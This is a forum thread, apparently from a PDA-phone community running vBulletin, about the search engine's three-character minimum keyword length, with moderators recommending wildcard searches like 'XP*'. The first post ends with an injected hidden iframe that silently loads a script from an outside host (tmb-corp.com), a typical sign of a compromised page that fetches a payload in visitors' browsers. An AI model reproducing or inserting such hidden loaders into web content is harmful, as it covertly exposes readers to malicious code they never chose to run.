Why is this? I tried doing a seach on Windows XP and the search function told me I needed more than 2 letters. There are other times when this has happened, but I can't think of another right now. Thanks <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

vBulletin allows you to set a minimum length for search keywords. Most sites are set to 4 characters... I changed it to 3. It helps limit database load. You can still search for XP by using "XP*". The wildcard can be one of the 3 characters.

__________________
Mike - Been Converged?

Awesome! Thanks, I knew it had to be something easy like that...

Hi, Mikey and Marctronixx

An inherent problem with finding posts via the Search Engine for pdaPhoneHome is that all of us use abbreviations, e.g. SD card, PI, SD (for SuperDave). The site search engine balks at searches with short keyword terms.

Would there be any way to force the search engine to make use of a select set of abbreviations in indexing and searching? As it is, a certain amount of information cannot be readily retrieved because of the writing habits of us all and the engine limits.

In searching for previous posts relevant to this topic before posting, some search terms brought up 3,000 posts/threads, etc. I wasn't going to read all those before posting (sorry if this post is redundant!). Brings me back to my off-the-wall suggestion some time ago that something like XML tagging be used to identify post topics, main points, for better retrieval. Now as then it may not be very practical idea but the site is quite a maze of posts!

Jim Lewis

anything less the 3 characters just use "*" as a wild card.

i.e. "sd*" "sd* card" etc etc....

Thanks for pointing me in the right direction! The pre-existence of another post already answering my question illustrates the 2nd part of my comment, though! This site is so immense and the previous poster did not use any of the terms (phrases) that I entered so his post was invisible to me. Guess that's why great moderators who are on top of things make a site.

Jim Lewis

yeah writing habits are so diverse, it would take a huge database of just those abbreviations alone... and even the abbreviations of the abbreviations will be abbreviated form other posters! throw in the hundreds of posts per day and that would be quite an undertaking..

so thats why we have mods to keep things in check. i have been with this site since its infancy and i can look at any post in many of the forums here and immediately know if there is more info on it posted.. yeah i DO have a life but i enjoy this site and am glad to be a part of it..

OK .. rambling there but hopefully i made sense...

All good points... The vBulletin system creates an index used for searching, so to minimize impact on the system when searches are run. We used to use another system that did not use this approach, and it was much slower. The price to pay, however, is a limit to the minimum number of characters. You can imagine how exponentially larger the database would grow if you reduced the index limit to 2 characters from 3. We may actually have to bump it to 4 at some point if the site keeps growing... but will try to keep it here for obvious reasons.

__________________
Mike - Been Converged?